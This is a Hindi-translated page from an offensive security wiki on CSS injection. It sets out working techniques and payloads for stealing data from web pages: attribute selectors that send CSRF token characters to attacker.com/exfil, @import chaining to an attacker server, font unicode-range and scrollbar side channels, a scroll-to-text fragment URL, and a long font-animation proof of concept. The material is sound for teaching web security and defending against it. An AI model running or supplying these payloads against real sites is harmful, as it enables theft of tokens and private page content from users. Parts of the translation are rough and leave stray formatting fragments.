CSS Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Try Hard Security Group


CSS Injection

विशेषता चयनकर्ता

CSS चयनकर्ता input तत्व के name और value विशेषताओं के मानों को मिलान करने के लिए बनाए गए हैं। अगर इनपुट तत्व की मान विशेषता एक विशिष्ट वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाह्य संसाधन लोड होता है:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

छिपे हुए तत्वों के लिए बायपास

इस सीमा को दूर करने के लिए, आप ~ सामान्य सहभाई संयोजक का उपयोग करके एक आगामी सहभाई तत्व को लक्षित कर सकते हैं। फिर CSS नियम छिपे हुए इनपुट तत्व के बाद के सभी सहभाई पर लागू होता है, जिससे बैकग्राउंड छवि लोड होती है:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

इस तकनीक को शातिरता से उपयोग करने का एक व्यावहारिक उदाहरण प्रदान किया गया है। आप इसे यहाँ देख सकते हैं।

CSS Injection के लिए पूर्व-आवश्यकताएं

CSS Injection तकनीक को सफल बनाने के लिए कुछ शर्तें पूरी होनी चाहिए:

  1. पेयलोड लंबाई: CSS इन्जेक्शन वेक्टर को तैयार किए गए सेलेक्टर को समायोजित करने के लिए पर्याप्त लंबाई का समर्थन करना चाहिए।

  2. CSS पुनर्मूल्यांकन: आपको पृष्ठ को फ्रेम करने की क्षमता होनी चाहिए, जो नए जनरेटेड पेयलोड के साथ CSS का पुनर्मूल्यांकन ट्रिगर करने के लिए आवश्यक है।

  3. बाह्य संसाधन: यह तकनीक बाह्य रूप से होस्ट की गई छवियों का उपयोग करने की क्षमता का अनुमान लगाती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है।

अंधा विशेषता चयनकर्ता

जैसा कि इस पोस्ट में स्पष्ट किया गया है, सेलेक्टर :has और :not को मिलाकर उपयोग करके अंधे तत्वों से भी सामग्री की पहचान करना संभव है। यह बहुत उपयोगी है जब आपको नहीं पता कि CSS इन्जेक्शन को लोड करने वाले वेब पेज में क्या है। यह भी संभव है कि आप उन सेलेक्टर का उपयोग करके एक ही प्रकार के कई ब्लॉक से जानकारी निकालें।

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

इसे निम्नलिखित @import तकनीक के साथ मिलाकर, ब्लाइंड पेज से CSS इन्जेक्शन का उपयोग करके बहुत सारी जानकारी को बाहर निकालना संभव है blind-css-exfiltration

@import

पिछली तकनीक में कुछ दुष्प्रभाव हैं, प्राथमिक आवश्यकताओं की जांच करें। आपको या तो विक्टिम को कई लिंक भेजने की क्षमता होनी चाहिए, या फिर आपको CSS इन्जेक्शन वलनरेबल पेज को आईफ्रेम करने की क्षमता होनी चाहिए

हालांकि, एक और चतुर तकनीक है जो CSS @import का उपयोग करती है तकनीक की गुणवत्ता को बेहतर बनाने के लिए।

यह पहली बार Pepe Vila द्वारा दिखाया गया था और यह इस प्रकार काम करता है:

दस्तावेज को एक बार और फिर से और फिर से लोड करने की आवश्यकता नहीं है (पिछले तकनीक में), हम केवल एक बार पेज को लोड करेंगे और केवल एक आयात के साथ हमले करने वाले सर्वर को लोड करेंगे (यह विक्टिम को भेजने के लिए पेलोड है):

@import url('//attacker.com:5001/start?');
  1. आक्रमक से कुछ CSS स्क्रिप्ट प्राप्त करेगा और ब्राउज़र इसे लोड करेगा

  2. हमलावर भेजेगा CSS स्क्रिप्ट का पहला हिस्सा फिर से अपने सर्वर पर @import

  3. हमलावर का सर्वर इस अनुरोध का जवाब अभी नहीं देगा, क्योंकि हमें कुछ वर्ण लीक करना है और फिर इस आयात का जवाब देना है ताकि अगले वर्ण लीक हो सकें।

  4. पेलोड का दूसरा और बड़ा हिस्सा एक विशेषता चयनकर्ता लीक पेलोड होगा।

  5. यह हमलावर के सर्वर पर गुप्त सूची का पहला और अंतिम वर्ण भेजेगा।

  6. जब हमलावर के सर्वर ने गुप्त सूची का पहला और अंतिम वर्ण प्राप्त किया है, तो यह चरण 2 में अनुरोधित आयात का जवाब देगा

  7. जवाब चरण 2, 3 और 4 के तरह होगा, लेकिन इस बार यह गुप्त सूची का दूसरा वर्ण खोजने की कोशिश करेगा और फिर द्वितीय अंतिम

हमलावर गुप्त सूची को पूरी तरह से लीक करने तक इस लूप का पालन करेगा

आप यहाँ Pepe Vila's code to exploit this here प्राप्त कर सकते हैं या आप यहाँ लगभग वही कोड लेकिन टिप्पणित यहाँ प्राप्त कर सकते हैं।

स्क्रिप्ट प्रारंभ से 2 वर्ण खोजने का प्रयास करेगा (शुरुआत और अंत से) क्योंकि विशेषता चयनकर्ता कुछ इस प्रकार की चीजें करने की अनुमति देता है:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

यह स्क्रिप्ट को गुप्त सूचना तेजी से लीक करने की अनुमति देता है।

कभी-कभी स्क्रिप्ट सही ढंग से नहीं पता लगाता कि प्रीफिक्स + सफिक्स जो पहले से ही पूर्ण ध्वज हैं और यह आगे बढ़ेगा (प्रीफिक्स में) और पीछे जाएगा (सफिक्स में) और किसी समय यह रुक जाएगा। चिंता न करें, बस आउटपुट की जांच करें क्योंकि आप वहां ध्वज देख सकते हैं

अन्य सेलेक्टर

CSS सेलेक्टर के साथ DOM भागों तक पहुंचने के अन्य तरीके:

  • .class-to-search:nth-child(2): यह DOM में "class-to-search" के साथ दूसरे आइटम की खोज करेगा।

  • :empty सेलेक्टर: उदाहरण के लिए इस व्रिटअप** में उपयोग किया गया है:**

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

संदर्भ: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

समग्र उद्देश्य है नियंत्रित अंत से एक कस्टम फॉन्ट का उपयोग करना और सुनिश्चित करना कि पाठ (इस मामले में, 'A') केवल इस फॉन्ट के साथ प्रदर्शित होता है अगर निर्दिष्ट संसाधन (favicon.ico) लोड नहीं हो सकता

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. कस्टम फ़ॉन्ट का उपयोग:

  • एक कस्टम फ़ॉन्ट को <head> खंड में <style> टैग का उपयोग करके @font-face नियम का प्रयोग करके परिभाषित किया जाता है।

  • फ़ॉन्ट का नाम poc है और यह एक बाह्य अंतर्दृष्टि से (http://attacker.com/?leak) प्राप्त किया जाता है।

  • unicode-range गुणसूत्र को U+0041 पर सेट किया गया है, जो विशिष्ट यूनिकोड वर्ण 'A' को लक्षित करता है।

  1. फॉलबैक पाठ के साथ ऑब्जेक्ट तत्व:

  • <body> खंड में id="poc0" के साथ एक <object> तत्व बनाया गया है। यह तत्व http://192.168.0.1/favicon.ico से संसाधन लोड करने का प्रयास करता है।

  • इस तत्व के लिए font-family को <style> खंड में परिभाषित poc पर सेट किया गया है।

  • यदि संसाधन (favicon.ico) लोड करने में विफल हो जाता है, तो <object> टैग के अंदर फॉलबैक सामग्री (अक्षर 'A') प्रदर्शित की जाएगी।

  • यदि बाह्य संसाधन लोड नहीं हो सकता है, तो फॉलबैक सामग्री ('A') को कस्टम फ़ॉन्ट poc का उपयोग करके प्रस्तुत किया जाएगा।

स्टाइलिंग स्क्रॉल-टू-टेक्स्ट फ्रैगमेंट

:target प्सेडो-क्लास का उपयोग एक URL फ्रेगमेंट द्वारा लक्षित एक तत्व का चयन करने के लिए किया जाता है, जैसा कि CSS Selectors Level 4 specification में निर्दिष्ट किया गया है। यह महत्वपूर्ण है कि ::target-text किसी भी तत्व के साथ मेल नहीं खाता है जब तक पाठ को फ्रेगमेंट द्वारा स्पष्ट रूप से लक्षित नहीं किया जाता है।

एक सुरक्षा संबंधित चिंता उत्पन्न होती है जब हमलावर स्क्रॉल-टू-टेक्स्ट फ्रेगमेंट सुविधा का शोध करते हैं, जिससे उन्हें HTML इन्जेक्शन के माध्यम से अपने सर्वर से संसाधन लोड करने की अनुमति मिलती है। इस विधि में एक CSS नियम डालना शामिल है जैसे:

:target::before { content : url(target.png) }

इस तरह की स्थितियों में, यदि पृष्ठ पर "प्रशासक" टेक्स्ट मौजूद है, तो सर्वर से target.png संसाधित होता है, जिससे पाठ की मौजूदगी का संकेत मिलता है। इस हमले का एक उदाहरण एक विशेष रूप से तैयार किए गए URL के माध्यम से उत्पन्न किया जा सकता है जिसमें इंजेक्टेड CSS को Scroll-to-text फ्रेगमेंट के साथ समाहित किया गया है:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

यहाँ, हमला HTML इन्जेक्शन को मानिपुरित करता है ताकि CSS कोड को ट्रांसमिट किया जा सके, विशेष पाठ "प्रशासक" की ओर लक्षित करते हुए Scroll-to-text फ्रेगमेंट (#:~:text=Administrator)। यदि पाठ मिल जाता है, तो सूचित संसाधन लोड होता है, जिससे अपराधी को उसकी मौजूदगी का संकेत मिलता है।

संशोधन के लिए, निम्नलिखित बिंदुओं का ध्यान दिया जाना चाहिए:

  1. प्रतिबंधित STTF मैचिंग: Scroll-to-text Fragment (STTF) केवल शब्द या वाक्यों के मिलान के लिए डिज़ाइन किया गया है, इसलिए इसकी क्षमता कोई भी अनियमित रहस्य या टोकन लीक करने को सीमित करती है।

  2. शीर्ष-स्तरीय ब्राउज़िंग संदर्भों की प्रतिबंधितता: STTF केवल शीर्ष-स्तरीय ब्राउज़िंग संदर्भों में काम करता है और यह आईफ्रेम्स के भीतर कार्य नहीं करता, जिससे किसी भी शोषण प्रयास को उपयोगकर्ता के लिए अधिक नोटिस किया जा सकता है।

  3. उपयोगकर्ता सक्रियकरण की आवश्यकता: STTF को काम करने के लिए उपयोगकर्ता सक्रियकरण इशारा करने की आवश्यकता होती है, जिसका मतलब है कि उपयोगकर्ता प्रेरित नेविगेशन के माध्यम से ही उपयोग करने योग्य हैं। यह आवश्यकता हमें अपराधों के ऑटोमेटेड होने की जोखिम को काफी कम करती है बिना उपयोगकर्ता इंटरेक्शन के। फिर भी, ब्लॉग पोस्ट के लेखक ने विशेष स्थितियों और बायपास (जैसे, सोशल इंजीनियरिंग, प्रसारी ब्राउज़र एक्सटेंशन के साथ इंटरेक्शन) को उधारने की संकेत किए हैं जो हमले की ऑटोमेशन को आसान बना सकते हैं।

इन तंत्रों और संभावित भेदभावों के जागरूकता वेब सुरक्षा को बनाए रखने और इस तरह के शोषणात्मक तकनीकों के खिलाफ सुरक्षित रखने के लिए महत्वपूर्ण है।

अधिक जानकारी के लिए मूल रिपोर्ट देखें: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

आप एक CTF के लिए इस तकनीक का उपयोग करने वाला एक उत्पीड़न यहाँ देख सकते हैं.

@font-face / unicode-range

आप विशेष यूनिकोड मानों के लिए बाहरी फॉन्ट्स को निर्दिष्ट कर सकते हैं जो केवल पृष्ठ में उपस्थित होने पर इकट्ठे किए जाएंगे। उदाहरण के लिए:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

पाठ नोड उद्धारण (I): लिगेचर्स

संदर्भ: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

इस तकनीक का वर्णन फॉन्ट लिगेचर्स का शोषण करके नोड से पाठ निकालने के लिए है और चौड़ाई में परिवर्तनों का मॉनिटरिंग करने का शामिल है। प्रक्रिया कई चरणों में होती है:

  1. कस्टम फॉन्ट्स का निर्माण:

  • SVG फॉन्ट्स को ग्लिफ्स के साथ बनाया जाता है जिनमें horiz-adv-x विशेषता होती है, जो दो वर्ण सीक्वेंस का प्रतिनिधित्व करने वाले ग्लिफ के लिए एक बड़ी चौड़ाई सेट करती है।

  • उदाहरण SVG ग्लिफ: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, जहां "XY" एक दो वर्ण सीक्वेंस का प्रतिनिधित्व करता है।

  • इन फॉन्ट्स को फॉन्टफोर्ज का उपयोग करके woff प्रारूप में रूपांतरित किया जाता है।

  1. चौड़ाई में परिवर्तन का पता लगाना:

  • CSS का उपयोग किया जाता है ताकि पाठ लपेटना न हो (white-space: nowrap) और स्क्रॉलबार स्टाइल को अनुकूलित करने के लिए।

  • एक क्षैतिज स्क्रॉलबार का उपस्थिति, विशेष रूप से सजीव, एक संकेतक (ओरेकल) के रूप में काम करता है कि एक विशेष लिगेचर, और इसलिए एक विशेष वर्ण सीक्वेंस, पाठ में मौजूद है।

  • शामिल CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. शोषण प्रक्रिया:

  • चरण 1: विशाल चौड़ाई वाले वर्णों के जोड़ों के लिए फॉन्ट बनाए जाते हैं।

  • चरण 2: एक स्क्रॉलबार-आधारित चाल उपयोग किया जाता है ताकि पता लग सके कि बड़ी चौड़ाई वाला ग्लिफ (वर्ण जोड़ के लिए लिगेचर) कब रेंडर होता है, जिससे वर्ण सीक्वेंस की मौजूदगी का पता चलता है।

  • चरण 3: एक लिगेचर का पता लगाने पर, तीन-वर्ण सीक्वेंस को उत्पन्न किया जाता है, जिसमें पहचानी गई जोड़ शामिल है और एक पूर्ववर्ती या उत्तरवर्ती वर्ण जोड़ा जाता है।

  • चरण 4: तीन-वर्ण लिगेचर का पता लगाया जाता है।

  • चरण 5: प्रक्रिया दोहराई जाती है, पूरे पाठ को प्रतिबद्ध करते हुए।

  1. अनुकूलन:

  • वर्तमान प्रारंभीकरण विधि <meta refresh=... अधिकतम नहीं है।

  • एक और अधिक दक्ष पहुंच उपाय CSS @import चाल का उपयोग कर सकता है, शोषण की प्रदर्शनक्षमता को बढ़ाते हुए।

पाठ नोड उद्धारण (II): डिफ़ॉल्ट फ़ॉन्ट के साथ चारसेट लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं है)

संदर्भ: PoC using Comic Sans by @Cgvwzq & @Terjanq

यह चाल इस Slackers thread में जारी की गई थी। एक पाठ नोड में उपयोग किए जाने वाले चारसेट को डिफ़ॉल्ट फ़ॉन्ट्स का उपयोग करके लीक किया जा सकता है: कोई बाहरी -या कस्टम- फ़ॉन्ट की आवश्यकता नहीं है।

यह धारणा एक एनिमेशन का उपयोग करने के चार्टर के चरणात्मक विस्तार को बढ़ाने के लिए है, जिससे एक समय में केवल एक वर्ण 'सफ़िक्स' भाग से 'प्रीफ़िक्स' भाग में स्थानांतरित हो सके। इस प्रक्रिया से पाठ को दो खंडों में विभाजित किया जा सकता है:

  1. प्रीफ़िक्स: प्रारंभिक पंक्ति।

  2. सफ़िक्स: आगामी पंक्ति(एं)।

वर्णों के संक्रमण चरण निम्नलिखित रूप में दिखाई देंगे:

C ADB

CA DB

CAD B

CADB

इस संक्रमण के दौरान, यूनिकोड-रेंज चाल का उपयोग प्रत्येक नए वर्ण की पहचान करने के लिए किया जाता है जैसे ही वह प्रीफ़िक्स में शामिल होता है। इसे कॉमिक सैंस फ़ॉन्ट में स्विच करके प्राप्त किया जाता है, जो डिफ़ॉल्ट फ़ॉन्ट से अधिक लंबा है, जिससे एक लंबवत स्क्रॉलबार ट्रिगर होता है। इस स्क्रॉलबार का उपस्थिति अप्रत्यक्ष रूप से प्रीफ़िक्स में एक नए वर्ण की मौजूदगी को प्रकट करती है।

यद्यपि यह विधि नए वर्णों की पहचान की अनुमति देती है जैसे ही वे प्रकट होते हैं, यह यह निर्दिष्ट नहीं करती कि कौन सा वर्ण दोहराया गया है, केवल यह कि एक पुनरावृत्ति हुई है।

मूल रूप से, यूनिकोड-रेंज का उपयोग एक वर्ण का पता लगाने के लिए किया जाता है, लेकिन हम एक बाहरी फ़ॉन्ट लोड करना नहीं चाहते हैं, इसलिए हमें एक और तरीका ढूंढने की आवश्यकता है। जब वर्ण मिल जाता है, उसे पूर्व-स्थापित कॉमिक सैंस फ़ॉन्ट दिया जाता है, जिससे वर्ण बड़ा हो जाता है और एक स्क्रॉलबार ट्रिगर होता है जो पाए गए वर्ण को लीक करेगा

पोस्ट किए गए PoC से निकाले गए कोड की जाँच करें:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

पाठ नोड एक्सफिल्ट्रेशन (III): डिफ़ॉल्ट फ़ॉन्ट के साथ चारसेट लीक करना एलिमेंट्स को छुपाकर (बाह्य संपत्तियों की आवश्यकता नहीं है)

संदर्भ: इसे इस लेखन में एक असफल समाधान के रूप में उल्लेख किया गया है

यह मामला पिछले वाले से बहुत समान है, हालांकि, इस मामले में विशेष चार्स को अन्य से बड़ा बनाने का उद्देश्य कुछ छुपाना है जैसे कि बॉट द्वारा दबाया न जाने वाला बटन या एक छवि जो लोड नहीं होगी। इसलिए हम कार्रवाई को माप सकते हैं (या कार्रवाई की कमी) और जान सकते हैं कि क्या टेक्स्ट में कोई विशेष चार है।

पाठ नोड एक्सफिल्ट्रेशन (III): कैश समय द्वारा चारसेट लीक करना (बाह्य संपत्तियों की आवश्यकता नहीं है)

संदर्भ: इसे इस लेखन में एक असफल समाधान के रूप में उल्लेख किया गया है

इस मामले में, हम कोशिश कर सकते हैं कि क्या टेक्स्ट में एक चार है या नहीं एक झूठा फ़ॉन्ट लोड करके समाधान से:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

यदि एक मिलान होता है, तो फॉन्ट /static/bootstrap.min.css?q=1 से लोड किया जाएगा। हालांकि यह सफलतापूर्वक लोड नहीं होगा, ब्राउज़र कैश करेगा, और यदि कोई कैश नहीं है, तो एक 304 not modified तंत्र है, तो प्रतिक्रिया अन्य चीजों से तेज होनी चाहिए

हालांकि, यदि कैश की प्रतिक्रिया के गैर-कैश वाले से अंतर काफी बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, परीक्षण के बाद, मुझे पता चला कि पहली समस्या यह है कि गति में ज्यादा अंतर नहीं है, और दूसरी समस्या यह है कि बॉट disk-cache-size=1 ध्वज का उपयोग करता है, जो वास्तव में विचारशील है।

पाठ नोड उद्धरण (III): समय लोडिंग से चारसेट लीक करना सैकड़ों स्थानीय "फॉन्ट" (बाह्य संपत्तियों की आवश्यकता नहीं है)

संदर्भ: इसे इस लेखन में एक असफल समाधान के रूप में उल्लेख किया गया है

इस मामले में जब एक मिलान होता है, तो आप CSS को सैकड़ों नकली फॉन्ट्स लोड करने के लिए संकेत दे सकते हैं जब एक मिलान होता है। इस तरह आप समय को माप सकते हैं और यह जान सकते हैं कि क्या कोई वस्तु दिखाई देती है या नहीं कुछ इस प्रकार:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

और बॉट का कोड इस तरह दिखता है:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

इसलिए, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट को देखने पर प्रतिक्रिया समय का अनुमानित समय लगभग 30 सेकंड है। हालांकि, यदि फ़ॉन्ट मेल है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क को लगातार गतिविधि होगी। इसके परिणामस्वरूप, स्थिरता शर्त को पूरा करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग करके यह निर्धारित किया जा सकता है कि क्या फ़ॉन्ट मेल है।

संदर्भ

Try Hard Security Group

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated